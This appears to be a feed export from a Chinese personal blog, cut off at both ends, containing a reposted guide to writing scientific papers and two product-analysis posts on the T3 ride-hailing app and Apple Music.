8</th></tr></thead><tbody><tr><td>Method</td><td>Alignments</td><td>MaxSub</td><td>MaxSub</td><td>MaxSub</td></tr><tr><td>SPARKS</td><td>53.1%4</td><td>325.94</td><td>5290 C</td><td>38.3</td></tr><tr><td>SPARKS2</td><td>54.9%</td><td>341.0</td><td>591.0</td><td>40.74</td></tr><tr><td>This work</td><td>56.6%</td><td>349.2</td><td>601.9</td><td>42.2</td></tr></tbody></table><p>对于图，我们至少应该对所有的标签（数字、座标和说明）使用大的黑体 Helvetica 字体。只画出重要的区域。尽量不用彩色就能使曲线达到最大的区分（彩色的图很贵)。[2]  </p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/%E5%9B%BE.png" alt="图"></p><p>这是我喜欢的一个图。它说明了一些画图的原理。对你的工作用实线而对别人的工作用点画线。间隔使用实心和空心符号来使曲线之间的不同更加明确。详细说明 X 和 Y 座标，标题不用缩写。 </p><h3 id="审稿人要什么"><a href="#审稿人要什么" class="headerlink" title="审稿人要什么?"></a>审稿人要什么?</h3><p>文章在发表前必须经过审稿人的评审。他们一般是相关领域的专家甚至是你的竞争者。他们会尽力寻找你文章中的毛病。有时，由于不同的观点和竞争的需要，审稿人或许会试图阻止你的文章发表。因此，文章必须写得理由充足。在被别人挑剔之前，自己必须首先鸡蛋里挑骨头，预先回答审稿人的可能质疑。</p><h4 id="怎样满足审稿人？"><a href="#怎样满足审稿人？" class="headerlink" title="怎样满足审稿人？"></a>怎样满足审稿人？</h4><ol><li>只提出 “一” 个中心命题。论文里的观点太多，不但不好写，问题也容易多，读者也不易记住你要说什么。  </li><li>在这个中心命题的基础上，用一个迷人 (但绝不夸张) 的标题来吸引审稿人的兴趣。无偿审稿使审稿人只审批感兴趣的论文。如果你不能引起审稿人的兴趣，那最好不要发表那篇文章。编辑们有时候会很郁闷，因为找不到有兴趣的审稿人。  </li><li>合理解释每一个参数，合理说明每一个步骤。审稿人没时间考虑细节。程序和参数的合理化显示出你知道你在做什么，而不是凑数据。 没理由要找理由，有理由要强调。  </li><li>问问你自己是否提供了足够重复你工作的所有细节。审稿人 (或读者) 越容易再现你的工作，他就越可能接受你的文章。当然，审稿人并不会真正去重做你的工作，但你必须通过你的描述使他相信可以重做。  </li><li>必须有说服力！尽量做彻底而不是半成品的工作！用多方面测试来证明你的中心命题。要使文章像律师证明无罪官司，预先回答一切可能提出的疑问。  </li><li>引用所有重要的研究工作，特别是经典力作。写作的时候要再做全面文献检索。</li></ol><p>为了达到这些目标，写科学论文的时候必须遵照一定的框架结构。</p><h4 id="文章的结构"><a href="#文章的结构" class="headerlink" title="文章的结构"></a>文章的结构</h4><p>典型的科学论文包括标题、摘要、引言、方法 &#x2F; 实验步骤、结果、讨论、致谢，和参考文献。这样的结构是用来帮助读者快速找到他们感兴趣的信息。把信息放错地方会使读者糊涂。常犯的错误是混淆事实 (结果) 和解释(讨论)。讨论是对结果的解释及说明它的意义，而不是重复结果的描述。  </p><p>一篇论文是从摘要，引言开始，这里建议从方法和结果部分开始写，因为你对方法和结果最熟悉，此外只有更好地理解方法和结果，才能确定中心命题。而标题，引言和讨论的写作都需要中心命题。我们应该从最熟悉的事情开始，就像读者从他们最熟悉的地方开始理解一样。</p><h4 id="方法-x2F-实验步骤"><a href="#方法-x2F-实验步骤" class="headerlink" title="方法&#x2F;实验步骤"></a>方法&#x2F;实验步骤</h4><p>如果文章是关于新的方法、技术或算法，要非常详细地写它的新颖之处。要用有逻辑的、合理的方式来描述它。这会帮助读者抓住新方法的要领。如果这个方法使用参数，则要把每一个参数 (或参数的取值) 合理化，或者是以前用过的，或者可以从物理或数学推导出来，或者通过了广泛的测试及优化。如果无法保证它的合理性，那就必须描述改变它会造成的影响(实际的结果应该在结果部分或讨论部分，方法部分仅包含影响的描述)。如果没有测试它们的合理性，你应该解释为什么(做的代价太贵了？太费时间了？或者需要延期到将来做)。参数改变造成的影响可以衡量方法是否 Robust。Robust 的方法应该是在参数改变很大的时候，结果也不会太大变化。  </p><p>对于新方法的发展，你同样需要设计不同的方法来测试。让人信服就需要做尽可能多的测试。你所能找到或设计的测试越多，你的工作就越会被其他人所接受和使用。  </p><p>当完成了方法部分以后，问一问自己以下的问题：1) 新的术语是不是都定义了？2) 如果你是第一次读这部分，你能否得到重复整个工作的所有信息？记住，不要隐藏任何窍门或使用的捷径。人们如果不能重复你的结果的话就不会相信你的论文。永远不要弄虚作假！别人不是傻子，一山更比一山高，聪明的大有人在。如果你伪造数据，心存侥幸不会被人发现。如果真的没人发现的话，那就是没有任何人想重复或使用你的结果，那只能说明你的结果根本不值得发表，毫无意义。若要人不知，除非己莫为，这是千真万确的真理。</p><h4 id="结果部分"><a href="#结果部分" class="headerlink" title="结果部分"></a>结果部分</h4><p>当你开始写结果部分时，先考虑一下结果的意义。也就是说，你理解你的结果吗？这些结果是不是告诉了你更深刻的东西？你能从很多不同角度来理解结果吗？你能设计证明或者反驳你的一些解释的新测试吗？  </p><p>如果你发现了新现象，你必须证明你的结果不是你方法制造出来的 (讨论部分的一个好内容)。它可以在不同的条件下重复吗？如果你发展了一个新方法，你必须证明这个方法的重要性。它是否改进了现有的方法？你的结果部分必须用不同的角度或多重测试来支持新发现或验证新方法的重要性。  </p><p>一旦你对结果有更好的理解，你需要决定卖点，也就是说这篇文章最有意义的一个观点是什么？确定这篇文章的中心命题之后要组织所有的段落来证明、支持它，用数据 (有必要的话再加数据) 来证明它。同时也要排除其它可能性。放弃与中心命题无关的数据，即使这些数据是很辛苦得来的。</p><h4 id="标题"><a href="#标题" class="headerlink" title="标题"></a>标题</h4><p>当你有了中心命题之后，就该决定文章的标题了。标题可以为你的方法，你的结果或结果的隐含意义做广告。标题是用一句话来概括你的文章。应该把最重要，最吸引人的信息放进标题。比如，标题 “Steric restrictions in protein folding: an alpha-helix cannot be followed by a contiguous beta-strand” 主要突出了结果。另一方面，标题 “Interpreting the folding kinetics of helical proteins” 突出了结果的含义。用标题 “Native proteins are surface-molten solids: Application of the Lindemann criterion for the solid versus liquid state” 的话，同时突出了方法和结果的含义。注意标题 “Native proteins are surface-molten solids” 是结果的解释，而不是结果本身。用既广泛又具体的标题，这样才能吸引更多的读者。</p><h4 id="引言部分"><a href="#引言部分" class="headerlink" title="引言部分"></a>引言部分</h4><p>中心命题和标题都决定了以后，就该写引言了。第一件该做的事就是围绕中心命题来收集所有相关文献。搜索并研究所有最近和相关的文章 (通过对中心命题关键字的搜索或用引用索引)。确认你有所有最新的论文。引用所有重要的文章。如果你不引用别人的文献，别人也不会引用你的！如果你想谁引用你的工作，你要先引用他的。你引用的文章越多，他们越可能阅读并引用你的文章。因为人们更加关注引用他们的论文。仔细读你所引用的文章，避免引用错误。在引用上，不要偷懒。 </p><p>引言的第一句最难写，因为它决定了你整个引言的走向。我的办法是把第一句和文章的标题连起来。在第一段以最基本和常见的术语来定义标题里用的一些术语。从这个术语，引入研究的领域和它的重要性。第二段应该对这个研究领域作一个鉴定性的论述。如果中心命题是关于解决一个问题的方法。这一段就应该指出这个当前研究中现存未解决的问题。描述解决这个问题的难度或挑战。 第三段引入你提出的办法和它大致会带来什么效果。你可以大略地描述你的结果和它的含义。这里有个例子。[3]  </p><p><strong>Assessing secondary structure assignments of protein structures by using pairwise sequence-alignment benchmarks</strong>  </p><p>The secondary structure of a protein refers to the local conformation of its polypeptide backbone. Knowing secondary structures of proteins is essential for their structure classification,understanding folding dynamics and mechanisms, and discovering conserved structural&#x2F;functional motifs. Secondary structure information is also useful for sequence and multiple sequence alignment, structure alignment, and sequence to structure alignment(or threading). As a result, predicting secondary structures from protein sequences continues to be an active field of research fifty six years after Pauling and Corey first predicted -helix and that the most common regular patterns of protein backbones are the  sheet. The Prediction and application of protein secondary structures rely on prior assignment of the secondary-structure elements from a given protein structure by human or computational methods.  </p><p>Many computational methods have been developed to automate the assignment of secondary structures. Examples are DSSP,STRIDE, DEFINE, P-SEA,KAKSI,P-CURVE, XTLSSTR, SECSTR, SEGNO, and VoTAP. These methods are based on either the hydrogen-bond pattern, geometric features, expert knowledge or their combinations. However, they often disagree on their assignments. For example, disagreement among DSSP, P-CURVE, and DEFINE can be as large as 25%. More beta sheet is assigned by XTLSSTR and more pi-helix by SECSTR than by DSSP. The discrepancy among different methods is caused by non-ideal configurations of helices and sheets. As a result, defining the boundaries between helix, sheet, and coil is problematical and a significant source of discrepancies between different methods.  </p><p>Inconsistent assignment of secondary structures by different methods highlights the need for a criterion or a benchmark of “standard” assignments that could be used to assess and compare assignment methods. One possibility is to use the secondary structures assigned by the authors who solved the protein structures. STRIDE, in fact, has been optimized to achieve the highest agreement with the authors’ annotations. However, it is not clear what is the criterion used for manual or automatic assignment of secondary structures by different authors. Another possibility is to treat the consensus prediction by several methods as the gold standard. However, there is no obvious reason why each method should weight equally in assigning secondary structures and which method should be used in consensus. Other used criteria include helix-capping propensity, the deviation from ideal helical and sheet configurations, and structural accuracy produced by sequence-to-structure alignment guided by secondary structure assignment.  </p><p>In this paper, we propose to use sequence-alignment benchmarks for assessing secondary structure assignments. These benchmarks are produced by 3D-structure alignment of structurally homologous proteins. Instead of assessing the accuracy of secondary-structure assignment directly, which is not yet feasible, we compare the two assignments of secondary structures in  structurally aligned positions. We assume that the best method should assign the same secondary-structure element to the highest fraction of structurally aligned positions. Certainly, structurally aligned positions do not always have the same secondary structures. Moreover, different structure-alignment methods do not always produce the same result. Nevertheless, this criterion provides a means to locate a secondary-structure assignment method that is most consistent with tertiary structure alignment. We suggest that this approach provides an objective evaluation of secondary structure assignment methods.  </p><p>在这个例子里，标题推荐了一个评估指派蛋白质二级结构的方法。第一段以二级结构的定义开始（与标题相连)。整段描述了二级结构的重要性。最后一句过渡到指派二级结构的计算方法（下一段的主题)。注意 “计算方法” 放在句子的最后是为了强调而且和第二段的开始连接在起来。第二段则聚焦在计算方法中存在的问题。旧信息 “计算方法” 逐渐的变到了“它们的不一致”。第三段的第一句把主题从“不一致”（旧信息）转变成了“评估的办法”（新信息)。然后，介绍了这个领域已有的工作。第四段引入新方法并讨论了新方法的优点。第五段（这里没有给出）将会简要地讨论结果。每一个引言应该 包括研究领域的介绍和意义，做这工作的具体原因，结果和隐含的意义。一般而言，读者读完引言，对论文的来龙去脉就应该清清楚楚了。</p><h4 id="讨论部分"><a href="#讨论部分" class="headerlink" title="讨论部分"></a>讨论部分</h4><p>现在到了你写论文的最后一部分。很多人认为讨论部分最难写。他们常常不知道该写什么。学生常常不能把结果从他们的解释、含意和结论中分离出来。此外，他们不善于思考可能存在的其他解释。好的讨论通常以得到的结果和解释的评论开始。其它可用于讨论的内容有：参数改变对结果的影响，与其他研究相比还有待解决的问题，将来或正在进行的工作（防止别人从事你显而易见的，立刻就能实现的后续工作)。这里有一段文章中的讨论部分。[4]  </p><p>One question about the complex homopolymer phase diagram presented here is whether it is caused by the discontinuous feature of the square-well potential. We cannot give a direct answer because the DMD simulation is required to obtain well-converged results for the thermodynamics. However, the critical phenomena predicted for a fluid composed of particles interacting with a square-well potential are as realistic as those predicted for a fluid composed of particles interacting with a LJ potential. Also an analogous complex phase diagram is found in simulations of LJ clusters. The present results for square-well homopolymers may well be found in more realistic homopolymer models and even in real polymers.  </p><p>这一段探究了可供选择的解释。</p><h4 id="摘要部分"><a href="#摘要部分" class="headerlink" title="摘要部分"></a>摘要部分</h4><p>整篇文章写完了。你需要写文章的摘要了。典型的摘要包括课题领域的重要性（回到标题)，要研究的问题，你方法的独特性，结果的意义和影响。这里有个例子。[3]  </p><p>How to make an objective assignment of secondary structures based on a protein structure is an unsolved problem. Defining the boundaries between helix, sheet, and coil structures is arbitrary, and commonly accepted standard assignments do not exist. Here, we propose a criterion that assesses secondary-structure assignment based on the similarity of the secondary structures assigned to structurally aligned residues in sequence-alignment benchmarks. This criterion is used to rank six secondary-structure assignment methods: STRIDE, DSSP, SECSTR, KAKSI, P-SEA, and SEGNO with three established sequence-alignment benchmarks (PREFAB, SABmark and SALIGN). STRIDE and KAKSI achieve comparable success rates in assigning the same secondary structure elements to structurally aligned residues in the three benchmarks. Their success rates are between 1-4% higher than those of the other four methods. The consensus of STRIDE, KAKSI, SECSTR, and P-SEA, called SKSP, improves assignments over the best single method in each benchmark by an additional 1%. These results support the usefulness of the sequence alignment benchmarks as the benchmarks for secondary structure assignment.  </p><p>前两句陈述了问题。第三句提出了解决办法。这些句子后面跟着结果。整个摘要以总结收尾。 注意摘要里的主体部分是结果及其意义和影响。</p><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><ol><li>认真对待写作。尽你最大努力花时间写作。它是科学研究的重要一环。文章没写好，没人看，没人用，等于没发表。</li><li>除非这个研究是全面彻底的，而且你试了所有可以支持你结论的方法，否则不要去发表。</li><li>重新思考，并合理解释为什么做这项工作，做了什么，什么是最重要的发现？为什么用这个方法？为什么用这些参数？什么是以前做过的（更新文献搜索)？不同在什么地方？</li><li>要从批判的角度来看你的工作，想一想别人会怎样来挑毛病。只有这样，才能找到弱点，进一步发展。我的许多论文是在反复讨论中大幅度修改，许多计算经常要重做。只有理顺和理解结果，文章才会更有意义。</li><li>要能回答所有合理的质疑。如果你自己有疑问，一定要搞清楚，否则别人又怎会相信。不要轻易相信得到的革命性发现。</li><li>不要隐藏任何事实，不作假，不要低估其他科学家的智慧。让你的研究可重复。把所有的材料和数据上网。</li><li>从头（标题）到尾（结论或讨论）要从旧信息过渡到新信息。永远不要在句子的开头引入新信息。切忌在术语被定义之前使用它们。</li><li>照抄别人文章里的句子是不道德的。这暴露出作者不愿思考，只走捷径，不是一个真正科学家的料。同时抄来的句子常常会打断文章中原有信息的流通，不利读者对文章的理解。一定需要用别人的原句，就必须用上引号，并引用该文献。</li><li>在段首要有阐明整段主题的句子，在段尾要有连到下段的过渡句。从标题到结论都要连贯。句句相扣，段段相连，让一篇论文是一个整体而不是杂乱无章地把句子堆积在一起。这样才能使读者享受阅读你的文章。</li><li>写，重写，再重写。没有人能第一次就写好。不花时间，不下功夫，写不好。我的文章一般要修改十次以上。</li></ol><h2 id="结束语"><a href="#结束语" class="headerlink" title="结束语"></a>结束语</h2><p>写科技论文不能像写散文，想到哪里就写到哪里。好的论文就像一部好的小说一样，需要构思策划，情节要一环扣一环，而结局是令人意外的。当然这一切，前提是你必须有令人激动的结果。这篇短文的目的是在有较好结果的基础上，怎样更好地实事求是地宣传你的结果。主要方法是使文章简单易懂，条理清楚，同时又全面深刻，令人信服。我反对虚假的包装，夸张的描述，这样往往适得其反。事实上，科技论文要避免用带有情感的形容词像 Exciting 或 Remarkable 来描述你的结果。也就是说要通过结果的描述来使读者体会到 “Exciting” 或“Remarkable”，让事实来说话。正如说笑话的人自己不笑会更有效果。</p><h2 id="致谢"><a href="#致谢" class="headerlink" title="致谢"></a>致谢</h2><p>此文中的一些例子出自 “The Science of Scientific Writing” by G. D. Gopen and J. A. Swan, American Scientist, 78, 550-558, 1990. 我在杜克大学 Gopen 教授 1995 年年度短训班受益非浅。我要特别感谢我的导师 Martin Karplus(哈佛大学)，George Stell (纽约州立大学－石溪校区), Harold L. Friedman (纽约州立大学－石溪校区) 和 Carol Hall (北卡罗来纳州立大学) 的鼓励和指导。没有他们，我不会有那么多机会练习英文写作。最后，我要感谢我的学生和博士后。他们对科学的贡献使我可以继续写论文，基金申请，或评论。此文中的一部分例子来自与他们合作的文章。此文初稿是用英文写的。由于我的中文打字速度太慢，特别感谢徐贝思帮我翻译成中文初稿。如果有不妥的地方是我的问题，请多指教。此文在网上出现以后，得到不少关注。特别感谢赵立平教授的建议及感谢许多校友和网友的指正和鼓励。</p><p>引用：</p><p>[1] G. D. Gopen and J. A. Swan, American Scientist, 78, 550-558 (1990)   </p><p>[2] H. Zhou and Y. Zhou, Bioinformatics 21, 3615–3621 (2005).  </p><p>[3] W. Zhang, K. Dunker, and Y. Zhou, Proteins, in press (2007).  </p><p>[4] Y. Zhou, C. K. Hall, and M. Karplus, Phys. Rev. Lett. 77 ,2822 (1996).  </p><blockquote><p>二零零七年六月一日网络初版，六月六日定稿于印地安那。</p><p>from: <a href="http://gong.ustc.edu.cn/article_show.php?tid=3">http://gong.ustc.edu.cn/article_show.php?tid=3</a></p></blockquote>]]></content>
    
    
      
      
    <summary type="html">&lt;blockquote&gt;
&lt;p&gt;这是我二导推荐地一篇文章，由于网上的版本观感并不好，故自己动手排版整理，分享给大家&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;周耀旗 &lt;/p&gt;
&lt;p&gt;印地安那大学信息学院&lt;/p&gt;
&lt;p&gt;印地安那大学医学院计算生物学和生物信</summary>
      
    
    
    
    <category term="学习" scheme="https://sandship.fun/categories/%E5%AD%A6%E4%B9%A0/"/>
    
    
    <category term="论文写作" scheme="https://sandship.fun/tags/%E8%AE%BA%E6%96%87%E5%86%99%E4%BD%9C/"/>
    
    <category term="非原创" scheme="https://sandship.fun/tags/%E9%9D%9E%E5%8E%9F%E5%88%9B/"/>
    
  </entry>
  
  <entry>
    <title>产品分析实战——T3出行</title>
    <link href="https://sandship.fun/post/f6f8.html"/>
    <id>https://sandship.fun/post/f6f8.html</id>
    <published>2021-09-04T14:59:58.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h2 id="分析对象"><a href="#分析对象" class="headerlink" title="分析对象"></a>分析对象</h2><p>Android版本的T3出行，版本号<code>2.1.23</code></p><p>滴滴出事之后，各方APP可谓是<del>乘虚而入</del>群雄逐鹿。其中T3出行的优惠力度出奇的大，以往大概三公里的路程，用滴滴大概￥12左右，现在用T3只要￥6，仿佛回到了优步被滴滴收购之前。</p><p>今天我们来看一下这个APP有什么值得思考的地方吧~</p><h2 id="用户"><a href="#用户" class="headerlink" title="用户"></a>用户</h2><p>上一篇文章，[[产品分析实战——AppleMusic]]，因为我本身是Apple Music的用户，我通过问自己三个问题的方式，了解目标用户核心需求，梳理用户在使用软件时的核心流程，从视觉、导航栏、核心页面三个角度剖析了各种feature对核心流程的影响。</p><p>而在这篇文章中，因为我本身并没有使用过太多次T3出行，还是应该从软件本身入手，来分析用户的特征：</p><h3 id="地域"><a href="#地域" class="headerlink" title="地域"></a>地域</h3><p>是最容易获得的信息，只要点击首页最上方地区，就能看到T3在哪些城市有服务，</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210904214229.png" alt="地区切换按钮" style="zoom: 50%;" /><p>简单统计了一下这些城市信息*：</p><table><thead><tr><th>分级</th><th>城市</th><th>城市数&#x2F;总数</th></tr></thead><tbody><tr><td>一线</td><td>广州、上海、深圳</td><td>3&#x2F;4</td></tr><tr><td>新一线</td><td>长沙、成都、重庆、杭州、合肥、南京、青岛、沈阳、苏州、天津、武汉、郑州、佛山</td><td>13&#x2F;15</td></tr><tr><td>二线</td><td>长春、常州、福州、贵阳、哈尔滨、海口、嘉兴、济南、金华、南昌、南通、宁波、太原、台州、温州、无锡、徐州、烟台、珠海</td><td>19&#x2F;30</td></tr><tr><td>三线</td><td>秦皇岛、泰州、遵义</td><td></td></tr><tr><td>四线</td><td>拉萨</td><td></td></tr><tr><td>五线</td><td>山南（西藏）</td><td></td></tr></tbody></table><p>*资料来源<a href="https://baike.baidu.com/item/%E4%B8%AD%E5%9B%BD%E5%9F%8E%E5%B8%82%E6%96%B0%E5%88%86%E7%BA%A7%E5%90%8D%E5%8D%95/12702007?fr=aladdin">中国城市新分级名单_百度百科 (baidu.com)</a></p><p>新一线城市覆盖率87%，二线城市覆盖率63%，其他几个城市共有的特点是旅游业比较发达。根据<a href="https://baijiahao.baidu.com/s?id=1640358452349870232&wfr=spider&for=pc">这篇报道</a>，19年T3出行刚出现时，首发第一批包括南京、广州、杭州、武汉、重庆和天津六个城市，可见T3主攻的是人口高度密集、通勤需求量较大的一线到二线城市。大部分的出行类APP首发瞄准的都是一线到二线市场，在这些城市积累了足够多的用户基础之后，才转向下沉市场（三线及以下城市）。</p><p>另外，值得注意的是从6个城市扩张到40个城市，T3出行花了两年。相比之下，滴滴从2012年成立到2015年与快的合并，已经覆盖了全国110个城市（<a href="https://www.sohu.com/a/27512588_148974">数据来源</a>）。国有背景的首汽约车，从2015年的仅北京一个城市，到2020年到覆盖了全国160多个城市（<a href="https://finance.sina.com.cn/tech/2020-10-25/doc-iiznctkc7612459.shtml">数据来源</a>）。同为2015年创立的曹操出行，目前已经覆盖了57个城市（<a href="https://baike.baidu.com/item/%E6%9B%B9%E6%93%8D%E5%87%BA%E8%A1%8C#4">数据来源</a>）。相比之下，T3出行的扩张速率绝对不算高，想要在触及下沉市场，有许多强劲的对手。</p><p>至于为什么出行APP首发瞄准一二线城市，我认为除了这些城市用户的消费能力较高、人口密度较大之外，还与这些城市中人口较高的流通率有关。许多在这些城市工作生活的出身于三线或者以下城市的年轻用户，把这种出行打车的消费习惯带到了下沉市场。“我们那连网约车都没有”，我不止一次听到有人这样描述自己家乡的发展水平。</p><blockquote><p>为什么会有山南这个小城市？</p><p>我也看了一下手机里的滴滴打车，发现滴滴也覆盖了这座雅鲁藏布江边上的城市，但我之前从未听说过它。</p></blockquote><h3 id="属性"><a href="#属性" class="headerlink" title="属性"></a>属性</h3><p>这一节我们通过软件中的一些feature来梳理用户的属性。</p><p>打开软件的设置，我们可以看到两个功能选项<code>常用地址</code>、<code>助老模式</code>。</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210905122110.png" alt="T3出行的设置" style="zoom:33%;" /><p>常用地址里只有两个选择，家和公司，可见这个特征满足的是<strong>有网约车通勤习惯</strong>的用户</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20211108131807.png" alt="常用地址" style="zoom:33%;" /><p>而助老模式很显然是为眼神不太好且不是很懂操作智能设备的<strong>老年人</strong>准备的。</p><p>另一个feature是T3出行的名称，<strong>出行</strong>两字呼之欲出的说明了这款软件是来<strong>满足你的出行需求的</strong>。再加上网约车的属性，可以说只要有<strong>中长途出行的需求，你就是它的潜在客户。</strong></p><p>而<code>常用地址</code>、<code>助老模式</code>这些功能，是在满足了大部分用户核心需求的基础上，优化部分特殊群体的体验，满足他们特殊的需求。</p><h2 id="核心流程"><a href="#核心流程" class="headerlink" title="核心流程"></a>核心流程</h2><blockquote><p> “用微信发一张图片总共有几步？”这是之前从少楠的播客中听到的问题。如果他问到的是我，我该怎么回答这个问题？</p></blockquote><blockquote><p> 本想打开助老模式体验最简流程，发现没有所谓的被关爱人的话助老模式用不了，关于这个问题我之后再讨论。</p></blockquote><p>整个流程如下图</p><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210905213359.png" alt="一般乘客的用车流程"></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;分析对象&quot;&gt;&lt;a href=&quot;#分析对象&quot; class=&quot;headerlink&quot; title=&quot;分析对象&quot;&gt;&lt;/a&gt;分析对象&lt;/h2&gt;&lt;p&gt;Android版本的T3出行，版本号&lt;code&gt;2.1.23&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;滴滴出事之后，各方APP可谓是&lt;d</summary>
      
    
    
    
    <category term="实践" scheme="https://sandship.fun/categories/%E5%AE%9E%E8%B7%B5/"/>
    
    
    <category term="产品" scheme="https://sandship.fun/tags/%E4%BA%A7%E5%93%81/"/>
    
    <category term="产品分析" scheme="https://sandship.fun/tags/%E4%BA%A7%E5%93%81%E5%88%86%E6%9E%90/"/>
    
  </entry>
  
  <entry>
    <title>产品分析实战——AppleMusic</title>
    <link href="https://sandship.fun/post/a25d.html"/>
    <id>https://sandship.fun/post/a25d.html</id>
    <published>2021-09-01T20:23:40.000Z</published>
    <updated>2026-02-11T07:44:26.147Z</updated>
    
    <content type="html"><![CDATA[<h2 id="分析对象"><a href="#分析对象" class="headerlink" title="分析对象"></a>分析对象</h2><p>分析的对象是Android版的Apple Music，版本号<code>3.6.0</code></p><p>分析方法主要参考了[[教你如何在面试中用「10 分钟快速分析」一款产品]]这篇文章</p><p>因为Apple Music算是一个舶来品，我们把范围限定在国内，不去分析其在国外产生的影响</p><h2 id="用户"><a href="#用户" class="headerlink" title="用户"></a>用户</h2><blockquote><p>在做后续分析之前，我们必须了解Apple Music的用户特征，包括<code>年龄</code>，<code>职业</code>，<code>地域</code>，<code>性别</code>等基本属性，这次的分析对象是我比较熟悉的，有深度使用体验的APP。如果要快速分析，我想应该先结合我自身的实际情况，给自己提出这样几个问题：</p><ol><li>我为什么会选用这款软件？（核心需求、用户特征）</li><li>我会给什么样的人推荐这款软件？（受众）</li><li>为什么会有人不喜欢这款软件？（用户特征）</li></ol><p>当然，为了避免局部最优，一定要和实时得和面试官确认自己的想法</p></blockquote><h3 id="我为什么会选用这款软件？"><a href="#我为什么会选用这款软件？" class="headerlink" title="我为什么会选用这款软件？"></a>我为什么会选用这款软件？</h3><p>对我来说比较核心的功能：</p><ul><li>想要听音乐</li><li>纯粹地听音乐，对其他冗余地元素一概不感兴趣</li><li>比较喜欢简洁的UI设计</li><li>因为可能会听一些比较经典的歌曲，需要覆盖面更广的版权</li><li>作为学生可以享受学生订阅，价格是￥5&#x2F;月，是家庭订阅的三分之一</li></ul><p>我不喜欢的功能：</p><ul><li>空间音频，我也听不出什么差别</li><li>分享体验非常非常差，没有专门的音乐卡片，分享出去只有链接</li></ul><h3 id="我身边的人为什么不使用Apple-Music？"><a href="#我身边的人为什么不使用Apple-Music？" class="headerlink" title="我身边的人为什么不使用Apple Music？"></a>我身边的人为什么不使用Apple Music？</h3><p>我妈对音乐软件的需求也是这样单纯，为什么我不会向她推荐Apple Music？</p><p>因为她是<strong>价格敏感</strong>的人群，我妈爱听的音乐在大部分平台都是不用收费的，而Apple Music有￥15&#x2F;月的月费。</p><p>我女朋友愿意为各种内容付费，但是我也不会向她推荐Apple Music，为什么？</p><p>因为<strong>使用门槛</strong>太高了，这个门槛包括：</p><ul><li>她是安卓用户，国内主流的安卓应用市场没有上架Apple Music；</li><li>作为上班族，她需要良好的多端体验，而她的电脑是Windows系统，无法使用Apple Music，只有体验稀烂的iTunes</li><li>她非常讨厌折腾</li></ul><p>这一点说明了，虽然已经有了安卓端，Apple Music仍更适合<code>苹果生态的用户</code>；</p><p>我曾向我身边的同学推荐过Apple Music，他最终也放弃使用Apple Music，理由大概包括：</p><ul><li>由于他本身也不是苹果生态用户，他需要额外注册一个苹果账号；</li><li>学生优惠的认证过程过于复杂，直接给他劝退；</li><li>他本身很喜欢网易云的社交元素，会逛网易云的评论区，想放弃网易云只是因为曲库不够大；</li></ul><p>上面分析了我身边的人不使用Apple Music的原因，我们可以模糊的地推导出一些用户的特点：</p><ol><li>偏爱苹果生态，对价格相对不敏感；</li><li>轻社交需求，更关心音乐本身，不喜欢冗余的元素；</li><li>追求更优质的内容，愿意为此付出时间；</li></ol><p>什么样的人群符合以上的特点?</p><p><strong>互联网从业者</strong>，年龄跨度在25~30之间，集中在国内的一二线城市。</p><p><strong>学生群体</strong>，年龄跨度在20~25岁之间，集中于各大高校。这一类人追求差异化，敢于尝试新的事物。</p><p>这其中的性别比例，但从能不能折腾考虑，我觉得应该应该是男6女4的比例。</p><blockquote><p>这里我觉得不用详细的阐述理由了，不要忘了自己是在面试！记得和面试官交流，自己的想法是否正确，比如您觉得我这么分对不对？忽略了哪些细节？有没有逻辑不通的地方？</p></blockquote><h2 id="核心流程"><a href="#核心流程" class="headerlink" title="核心流程"></a>核心流程</h2><p>另一个疑问出现了，用户使用Apple Music听音乐的核心流程包含哪些步骤？</p><p>首先我们来看一下音乐在Apple Music中的组织形式，无论是单曲、专辑还是电台，都是通过或长或短的列表组织起来的。</p><p>而以下这些因素可能会影响用户对列表的选择：</p><ul><li>喜欢的艺人&#x2F;作曲&#x2F;乐器</li><li>喜欢的音乐风格</li><li>当时的状态（工作、做家务、跑步，兴奋、低落）</li><li>算法推荐</li></ul><h2 id="视觉"><a href="#视觉" class="headerlink" title="视觉"></a>视觉</h2><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210831221500.png" alt="浅色模式和深色模式的主页面"></p><p>可以看到在视觉上，Apple Music把刻画的重点放在专辑&#x2F;列表的封面，简单浏览了一下，封面的内容主要包含</p><ul><li>歌手写真</li><li>专辑封面</li><li>列表主题相关的艺术创作</li></ul><p>底层主题则采用了简单的纯色基底+红色强调，另外它也并不支持自定义主题。</p><h3 id="专辑封面对核心流程的影响"><a href="#专辑封面对核心流程的影响" class="headerlink" title="专辑封面对核心流程的影响"></a>专辑封面对核心流程的影响</h3><p>特色鲜明的专辑封面能够帮助用户快速定位到感兴趣的歌手、专辑、或者主题，帮助用户快速完成上文里提到的<strong>核心流程</strong>。</p><p>我们可以在别的音乐APP看到各色由用户上传的专辑、歌单封面，为什么那样的效果不会太好？我觉得是因为UGC带有用户的个性和特色，更情绪化、碎片化，质量也参差不齐。</p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210901154756.png" alt="网易云的一些歌单界面" style="zoom: 33%;" /><blockquote><p>上图中的网易云歌单封面，个人特色就强烈。网易云的UGC歌单机制，是想借由音乐爱好者创造更多高质量的内容。但是相比于PGC内容，UGC的缺陷也在于个人风格强烈导致的质量层次不齐，比如我看到这张迪丽热巴做封面的歌单，我知道她并不是一个歌手，同时这个歌单的名字也让我摸不着头脑，我是不会选择点击进去的；而这个《硬核摇滚入门手册》，虽然播放量很低，但是封面很符合硬核摇滚在我醒目中的形象，让我非常有兴趣听一下。</p></blockquote><h2 id="导航栏"><a href="#导航栏" class="headerlink" title="导航栏"></a>导航栏</h2><p><img src="https://my-picbed.oss-cn-hangzhou.aliyuncs.com/20210901203403.png" alt="导航栏指向的五个页面"></p><p>整体来看，每一栏的分工都是比较明确的。</p><h3 id="现在就听"><a 